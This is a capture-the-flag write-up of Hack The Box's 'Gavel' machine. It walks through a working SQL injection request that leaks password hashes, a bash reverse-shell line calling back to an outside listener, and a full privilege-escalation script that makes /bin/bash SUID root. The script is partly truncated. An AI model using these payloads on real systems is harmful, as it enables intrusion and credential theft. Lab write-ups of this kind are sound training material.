Hackthebox: Gavel

Foued SAIDI Lv5

Overview

Gavel is a medium-difficulty machine from Hack The Box that starts with discovering an exposed .git directory on the web application. Dumping the repository reveals source code containing a SQL injection vulnerability in the inventory page, which we use to extract user credentials. After cracking the auctioneer bcrypt hash, we gain access to an admin panel that evaluates PHP rules on auction items β€” injecting a system() call gives us a reverse shell. Lateral movement to the auctioneer user is achieved through password reuse, and privilege escalation abuses a custom gavel-util binary by submitting malicious YAML configurations that overwrite php.ini restrictions and SUID /bin/bash.

Gavel-info-card
Gavel-info-card

Reconnaissance

We start with a port scan to identify running services.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://gavel.htb/
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can see our usual SSH on port 22 and an Apache web server on port 80 redirecting us to gavel.htb.

Web Enumeration

Running feroxbuster against the web application to discover hidden directories and files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
$ feroxbuster -u http://gavel.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt

___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“ ver: 2.13.0
───────────────────────────┬──────────────────────
🎯 Target Url β”‚ http://gavel.htb/
🚩 In-Scope Url β”‚ gavel.htb
πŸš€ Threads β”‚ 50
πŸ“– Wordlist β”‚ /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
πŸ‘Œ Status Codes β”‚ All Status Codes!
πŸ’₯ Timeout (secs) β”‚ 7
🦑 User-Agent β”‚ feroxbuster/2.13.0
πŸ’‰ Config File β”‚ /etc/feroxbuster/ferox-config.toml
πŸ”Ž Extract Links β”‚ true
🏁 HTTP methods β”‚ [GET]
πŸ”ƒ Recursion Depth β”‚ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
404 GET 9l 31w 271c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 305c http://gavel.htb/.git => http://gavel.htb/.git/
200 GET 1l 44w 2532c http://gavel.htb/assets/vendor/jquery-easing/jquery.easing.min.js
200 GET 398l 1583w 182591c http://gavel.htb/assets/img/permit.jpg
200 GET 7l 1030w 84378c http://gavel.htb/assets/vendor/bootstrap/js/bootstrap.bundle.min.js
200 GET 11299l 22157w 212581c http://gavel.htb/assets/css/sb-admin-2.css
200 GET 1l 7w 137960c http://gavel.htb/assets/vendor/jquery/jquery.min.map
200 GET 8782l 36235w 235341c http://gavel.htb/assets/vendor/jquery/jquery.slim.js
200 GET 7l 33w 1265c http://gavel.htb/assets/js/sb-admin-2.min.js
200 GET 84l 301w 4485c http://gavel.htb/register.php
200 GET 78l 213w 4281c http://gavel.htb/login.php
200 GET 1l 2w 23c http://gavel.htb/.git/HEAD
200 GET 1l 1w 3c http://gavel.htb/.git/COMMIT_EDITMSG
200 GET 222l 1043w 14042c http://gavel.htb/index.php
200 GET 5l 83w 59344c http://gavel.htb/assets/vendor/fontawesome-free/css/all.min.css
200 GET 307l 1324w 164612c http://gavel.htb/assets/img/quill.jpg
200 GET 2l 1294w 89501c http://gavel.htb/assets/vendor/jquery/jquery.min.js
200 GET 227l 1130w 149461c http://gavel.htb/assets/img/goblet.jpg
200 GET 34l 237w 1548c http://gavel.htb/assets/vendor/fontawesome-free/LICENSE.txt
200 GET 3l 23w 187c http://gavel.htb/assets/vendor/fontawesome-free/attribution.js
200 GET 3l 27w 422c http://gavel.htb/.git/logs/HEAD
200 GET 1l 10w 73c http://gavel.htb/.git/description
200 GET 679l 3782w 301740c http://gavel.htb/assets/img/favicon.ico
200 GET 222l 1033w 13969c http://gavel.htb/
200 GET 8l 20w 136c http://gavel.htb/.git/config
200 GET 58l 108w 1274c http://gavel.htb/assets/vendor/fontawesome-free/package.json
200 GET 120l 382w 70041c http://gavel.htb/assets/img/robe.jpg
200 GET 308l 1199w 128350c http://gavel.htb/assets/img/luck.jpg
200 GET 365l 1202w 141649c http://gavel.htb/assets/img/library.jpg
200 GET 196l 1157w 164627c http://gavel.htb/assets/img/tax.jpg
200 GET 268l 938w 145788c http://gavel.htb/assets/img/speed.jpg
200 GET 102l 397w 3798c http://gavel.htb/assets/items.json
200 GET 59l 254w 1656c http://gavel.htb/assets/vendor/jquery-easing/jquery.easing.compatibility.js
200 GET 166l 953w 4047c http://gavel.htb/assets/vendor/jquery-easing/jquery.easing.js
200 GET 423l 1396w 179553c http://gavel.htb/assets/img/shard.jpg
200 GET 324l 2559w 196986c http://gavel.htb/assets/img/scroll.jpg
200 GET 49l 279w 1643c http://gavel.htb/.git/hooks/pre-commit.sample
200 GET 53l 234w 1374c http://gavel.htb/.git/hooks/pre-push.sample
200 GET 8l 32w 189c http://gavel.htb/.git/hooks/post-update.sample
200 GET 24l 163w 896c http://gavel.htb/.git/hooks/commit-msg.sample
200 GET 15l 79w 478c http://gavel.htb/.git/hooks/applypatch-msg.sample
200 GET 14l 69w 424c http://gavel.htb/.git/hooks/pre-applypatch.sample
200 GET 78l 499w 2783c http://gavel.htb/.git/hooks/push-to-checkout.sample
200 GET 24l 83w 544c http://gavel.htb/.git/hooks/pre-receive.sample
200 GET 169l 798w 4898c http://gavel.htb/.git/hooks/pre-rebase.sample
200 GET 42l 238w 1492c http://gavel.htb/.git/hooks/prepare-commit-msg.sample
200 GET 173l 669w 4655c http://gavel.htb/.git/hooks/fsmonitor-watchman.sample
200 GET 13l 67w 416c http://gavel.htb/.git/hooks/pre-merge-commit.sample
200 GET 6l 43w 240c http://gavel.htb/.git/info/exclude
200 GET 128l 546w 3650c http://gavel.htb/.git/hooks/update.sample
200 GET 1l 1w 41c http://gavel.htb/.git/refs/heads/master
200 GET 2l 1059w 72372c http://gavel.htb/assets/vendor/jquery/jquery.slim.min.js
200 GET 276l 1356w 153886c http://gavel.htb/assets/img/spoon.jpg

The .git directory is exposed on the web server. We use git-dumper to download the full repository.

1
$ git-dumper http://gavel.htb/.git ./gavel-git
1
2
3
4
β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Desktop/gavel-git]
└─$ ls
admin.php assets bidding.php includes index.php inventory.php login.php logout.php register.php rules

Source Code Review

Reviewing the dumped source code, we find an interesting SQL injection vulnerability in inventory.php.

SQL Injection - Credential Extraction

The inventory.php page is vulnerable to SQL injection through the user_id and sort parameters. We craft a payload to extract credentials from the users table:

1
2
3
4
5
6
7
8
9
10
11
12
GET /inventory.php?user_id=x`+FROM+(SELECT+CONCAT(username,0x3a,password)+AS+`'x`+from+users)y;--+-&sort=\?;--+-%00 HTTP/1.1
Host: gavel.htb
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://gavel.htb/index.php
Accept-Encoding: gzip, deflate, br
Cookie: gavel_session=e4ag81sf91e340iis1cth8k87v
Connection: keep-alive


The response leaks both usernames and their bcrypt hashes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
HTTP/1.1 200 OK
Date: Tue, 02 Dec 2025 08:19:31 GMT
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 5402
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Your Inventory</title>
<link href="/assets/vendor/fontawesome-free/css/all.min.css" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Nunito:300,400,700&display=swap" rel="stylesheet">
<link href="/assets/css/sb-admin-2.css" rel="stylesheet">
<link id="favicon" rel="icon" type="image/x-icon" href="/assets/img/favicon.ico">
</head>
<body id="page-top">
<div id="wrapper">
<!-- Sidebar -->
<ul class="navbar-nav bg-gradient-primary sidebar sidebar-dark accordion" id="accordionSidebar">
<a class="sidebar-brand d-flex align-items-center justify-content-center" href="index.php">
<div class="sidebar-brand-icon rotate-n-15">
<i class="fas fa-gavel"></i>
</div>
<div class="sidebar-brand-text mx-3">Gavel</div>
</a>
<hr class="sidebar-divider my-0">

<li class="nav-item">
<a class="nav-link" href="index.php">
<i class="fas fa-fw fa-home"></i>
<span>Home</span>
</a>
</li>
<li class="nav-item active">
<a class="nav-link" href="inventory.php">
<i class="fas fa-box-open"></i>
<span>Inventory</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="bidding.php">
<i class="fas fa-hammer"></i>
<span>Bidding</span>
</a>
</li>
<hr class="sidebar-divider d-none d-md-block">
<li class="nav-item">
<a class="nav-link" href="logout.php">
<i class="fas fa-sign-out-alt"></i>
<span>Logout</span>
</a>
</li>
</ul>
<!-- End of Sidebar -->
<div class="container-fluid pt-4">
<div class="d-flex justify-content-between align-items-center mb-4">
<h1 class="h3 text-gray-800"><i class="fas fa-box-open"></i> Inventory of kujenkujen</h1>
<h1 class="h5 text-gray-800 mb-0"><i class="fas fa-coins"></i> <strong>43,900</strong></h1>
</div>
<hr>
<div class="d-flex justify-content-between align-items-center mb-3">
<div class="flex-grow-1 mr-3">
<div class="alert alert-success mb-0">
Your inventory.
</div>
</div>
<form action="" method="POST" class="form-inline" id="sortForm">
<label for="sort" class="mr-2 text-dark"><strong>Sort by:</strong></label>
<input type="hidden" name="user_id" value="2">
<select name="sort" id="sort" class="form-control form-control-sm mr-2" onchange="document.getElementById('sortForm').submit();">
<option value="item_name" >Name</option>
<option value="quantity" >Quantity</option>
</select>
</form>
</div>
<div class="row">
<div class="col-md-4">
<div class="card shadow mb-4">
<div class="card-body">
<img src="/assets/img/" class="card-img-top" alt="auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS">
<hr>
<h5 class="card-title"><strong>auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS</strong>
</h5><hr>
<p class="card-text text-justify"></p>
</div>
</div>
</div>
<div class="col-md-4">
<div class="card shadow mb-4">
<div class="card-body">
<img src="/assets/img/" class="card-img-top" alt="kujenkujen:$2y$10$A6dvp2SQGQQ2GN2UCyXoPuZji3gYY.a53PeyF0La8WkZyKPsYhDlO">
<hr>
<h5 class="card-title"><strong>kujenkujen:$2y$10$A6dvp2SQGQQ2GN2UCyXoPuZji3gYY.a53PeyF0La8WkZyKPsYhDlO</strong>
</h5><hr>
<p class="card-text text-justify"></p>
</div>
</div>
</div>
</div>
</div>
</div>
<script src="/assets/vendor/jquery/jquery.min.js"></script>
<script src="/assets/vendor/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="/assets/vendor/jquery-easing/jquery.easing.min.js"></script>
<script src="/assets/js/sb-admin-2.min.js"></script>
</body>
</html>

We extract the auctioneer hash: $2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS

Cracking the Hash

We crack the bcrypt hash using john with the rockyou.txt wordlist.

1
2
3
4
5
6
7
8
9
10
$ john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
midnight1 (?)
1g 0:00:00:16 DONE (2025-12-02 03:20) 0.05885g/s 180.1p/s 180.1c/s 180.1C/s iamcool..memories
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

We can also bruteforce the password directly on the dashboard after identifying the auctioneer username from the source code.

Credentials: auctioneer:midnight1

Admin Panel - Remote Code Execution

We log in as auctioneer and gain access to the admin panel. The admin panel allows defining PHP rules for auction items. We inject a system() call to get a reverse shell:

1
system('bash -c "sh -i >& /dev/tcp/10.10.16.10/9001 0>&1"'); return true;

After navigating to the bidding section and submitting any bid, the rule gets evaluated and we receive a callback on our listener.

1
2
3
4
5
6
7
$ rlwrap nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.10] from (UNKNOWN) [10.129.44.100] 52174
sh: 0: can't access tty; job control turned off
$ bash
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lateral Movement - auctioneer

The cracked password midnight1 is reused for the system user auctioneer.

1
2
3
4
su auctioneer
Password: midnight1
id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)

Privilege Escalation

Checking the /opt/gavel directory, we find a custom binary gaveld and a gavel-util submission tool.

1
2
3
4
5
6
7
8
9
auctioneer@gavel:/opt/gavel$ ls -al
ls -al
total 56
drwxr-xr-x 4 root root 4096 Nov 5 12:46 .
drwxr-xr-x 3 root root 4096 Nov 5 12:46 ..
drwxr-xr-x 3 root root 4096 Nov 5 12:46 .config
-rwxr-xr-- 1 root root 35992 Oct 3 19:35 gaveld
-rw-r--r-- 1 root root 364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root 4096 Nov 5 12:46 submission

We craft a malicious YAML payload to first overwrite php.ini and remove disable_functions and open_basedir restrictions, then trigger system() to SUID /bin/bash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/bin/bash
echo "[*] Screw Gavel Root Exploit"
echo "[*] Stand-by..."
WORKDIR="/tmp/pwn_$(date +%s)"
mkdir -p "$WORKDIR"
cd "$WORKDIR"

echo "[*] Step 1: Overwriting php.ini to remove disable_functions and open_basedir..."
cat << 'EOF_INI' > ini_overwrite.yaml
name: IniOverwrite
description: Removing restrictions
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Config Pwned"
rule: |
file_put_contents('/opt/gavel/.config/php/php.ini', "engine=On\ndisplay_errors=On\nopen_basedir=/\ndisable_functions=\n");
return false;
EOF_INI
/usr/local/bin/gavel-util submit ini_overwrite.yaml
echo "[*] Config overwrite submitted. Waiting 5 seconds for stability..."
sleep 5

echo "[*] Step 2: Triggering system() to SUID /bin/bash..."
cat << 'EOF_SUID' > root_suid.yaml
name: RootSuid
description: Getting Root
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Shell Pwned"
rule: |
system("chmod u+s /bin/bash");
return false;
EOF_SUID
/usr/local/bin/gavel-util submit root_suid.yaml

echo "[*] Payload submitted. Checking /bin/bash permissions..."
sleep 2

if ls -la /bin/bash | grep -q "rws"; then
echo "[+] SUCCESS! /bin/bash is now SUID root."
echo "[*] Spawning root shell and reading /root/root.txt ..."
/bin/bash -p -c 'cat /root/root.txt; exec /bin/bash -p'
else
echo "[-] Exploit failed. /bin/bash is not SUID."
echo "[*] Trying alternative payload (copy bash)..."

cat << 'EOF_COPY' > root_copy.yaml
name: RootCopy
description: Getting Root Alt
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Shell Pwned Alt"
rule: |
copy('/bin/bash', '/tmp/rootbash');
chmod('/tmp/rootbash', 04755);
return false;
EOF_COPY
/usr/local/bin/gavel-util submit root_copy.yam
sleep 2

if [ -f /tmp/rootbash ]; then
echo "[+] Alternative payload SUCCESS! /tm
echo "[*] Spawning root shell and reading
/tmp/rootbash -p -c 'cat /root/root.txt; e
else
echo "[-] All attempts failed."
exit 1
fi
fi

Running the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
auctioneer@gavel:/tmp$ ./exploit.sh
./exploit.sh
[*] Screw Gavel Root Exploit
[*] Stand-by...
[*] Step 1: Overwriting php.ini to remove disable_functions and open_basedir...
Item submitted for review in next auction
[*] Config overwrite submitted. Waiting 5 seconds for stability...
[*] Step 2: Triggering system() to SUID /bin/bash...
Item submitted for review in next auction
[*] Payload submitted. Checking /bin/bash permissions...
./exploit.sh: line 64: unexpected EOF while looking for matching `''
./exploit.sh: line 70: syntax error: unexpected end of file
auctioneer@gavel:/tmp$ ls -al /bin/bash
ls -al /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
auctioneer@gavel:/tmp$ bash -p
bash -p
bash-5.1# id
id
uid=1001(auctioneer) gid=1002(auctioneer) euid=0(root) groups=1002(auctioneer),1001(gavel-seller)
bash-5.1# cat /root/root.txt
cat /root/root.txt
2f1e6387bcec9626e8eb8795eeb571ba
bash-5.1#

That was it for Gavel, hope you learned something new!

-0xkujen

  • Title: Hackthebox: Gavel
  • Author: Foued SAIDI
  • Created at : 2026-03-15 22:03:31
  • Updated at : 2026-03-15 22:10:04
  • Link: https://kujen5.github.io/2026/03/15/Hackthebox-Gavel/
  • License: This work is licensed under CC BY-NC-SA 4.0.